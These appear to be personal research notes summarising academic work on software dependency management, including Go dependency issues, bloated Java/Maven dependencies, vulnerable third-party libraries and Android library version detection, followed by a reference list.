Golang introduced a new library referencing mode to overcome limitations of the old one. While the two library modes are supported by Golang, they are incompatible, e.g. dependency management (DM) issues, reference inconsistencies, build failures, etc. did an empirical study that resulted in HERO, an automated technique to detect DM issues and suggest fixes. Applied to 19k Golang projects, HERO detected 98.5% on a DM issue benchmark, and found 2,422 new DM issues in 2,356 Golang projects. They reported 280 issues, and almost all of the fixes have adopted HERO’s fixing suggestions.
A bloated dependency is one which is packaged in the application binary, but is not needed to run the application.
There are two levels to this: (1) a source file
declares a dependency on
foo but never actually uses
foo, and (2) the
application as a whole never uses
foo. An optimal de-bloating solution would
first address (1) and then tackle (2).
Some languages may have better tooling than others when it comes to automatically de-bloating their dependencies.
propose DepClean, a tool for de-bloating Java/Maven dependency trees. Of 9,639 Java artifacts, which include a total of 723k dependency relationships, they found 2.7% of directly declared dependencies are bloated, 15.4% of inherited dependencies are bloated, and 57% of transitive dependencies are bloated. In principle, it’s feasible to reduce the total number of dependencies of the studied artifacts to \(1/4\) of its current count.
Java developers using Maven declare their dependencies in a POM file. Given an application and its POM file, collects the dependencies declared in the POM file and their transitive dependencies, analyzes the byte-code of the artifact and all its dependencies to determine the presence of bloated dependencies.
study the evolution and impact of bloated dependencies in the Java/Maven ecosystem. Bloated dependencies steadily increase over time, and 89.2% of the direct dependencies that are bloated remain bloated. 22% of dependency updates performed by developers were made on bloated dependencies.
No matter the obfuscation in the source code, the malicious package will have to make system calls in order to do anything interesting. These system calls are easier to analyze. Furthermore, module recontextualization , a dynamic program analysis technique, can help detect unusual resources being used by an imported package.
build a vulnerabilities database (1,180 CVEs and 224 security bugs). With their database, and their in-app third-party library (TPL) detector , they analyze 104k apps, and find 9k apps include vulnerable TPL versions and 7k security bugs.
In-App Third-Party Library Detection
Static detection of third-party libraries is a solved problem when the code is using a dependency manager. However, some of the declared dependencies may be bloated , and there’s active research on de-bloating.
I’m not sure what in-app TPL detection entails, and how useful it is in practice.
propose ATVHunter, a better tool for identifying Android in-app TPLs. They build a TPL database (189k TPLs with 3m versions). To identify specific TPL versions, they extract the Control Flow Graphs (CFG) to match potential TPLs, and then narrow down to the version by comparing opcode sequences in each basic block of CFG. ATVHunter outperforms existing tools, is resilient to common obfuscation techniques, and is scalable for large-scale TPL detection, e.g. vulnerability detection .
Hunting for Malicious Packages on PyPI. Jordan Wright. jordan-wright.com . Nov 12, 2020.
Dependencies and Maintainers. Drew DeVault. drewdevault.com . Feb 6, 2020.
A Longitudinal Analysis of Bloated Java Dependencies. Soto-Valero, César; Thomas Durieux; Benoit Baudry. European Software Engineering Conference and Symposium on the Foundations of Software Engineering, Proceedings of the 29th ACM Joint Meeting, Aug 2021, pp. 1021 - 1031. KTH Royal Institute of Technology. doi.org . scholar.google.com . Cited 0 times as of Jan 30, 2022.
List of software package management systems - Wikipedia. en.wikipedia.org . Accessed Jan 22, 2022.
ATVHunter: Reliable Version Detection of Third-Party Libraries for Vulnerability Identification in Android Applications. Zhan, Xian; Fan, Lingling; Chen, Sen; We, Feng; Liu, Tianming; Luo, Xiapu; Liu, Yang. International Conference on Software Engineering, 43rd, 2021. The Hong Kong Polytechnic University; Nankai University; Tianjin University; Nanyang Technological University; Monash University. doi.org . scholar.google.com . Cited 10 times as of Jan 30, 2022.
HERO: On the Chaos When PATH Meets Modules. Wang, Ying; Liang Qiao; Chang Xu; Yepang Liu; Shing-Chi Cheung; Na Meng; Hai Yu; Zhiliang Zhu. International Conference on Software Engineering, 43rd, 2021, pp. 99-111. Northeastern University; Nanjing University; Southern University of Science and Technology; Hong Kong University of Science and Technology; Virginia Tech. doi.org . scholar.google.com . Cited 0 times as of Feb 6, 2022.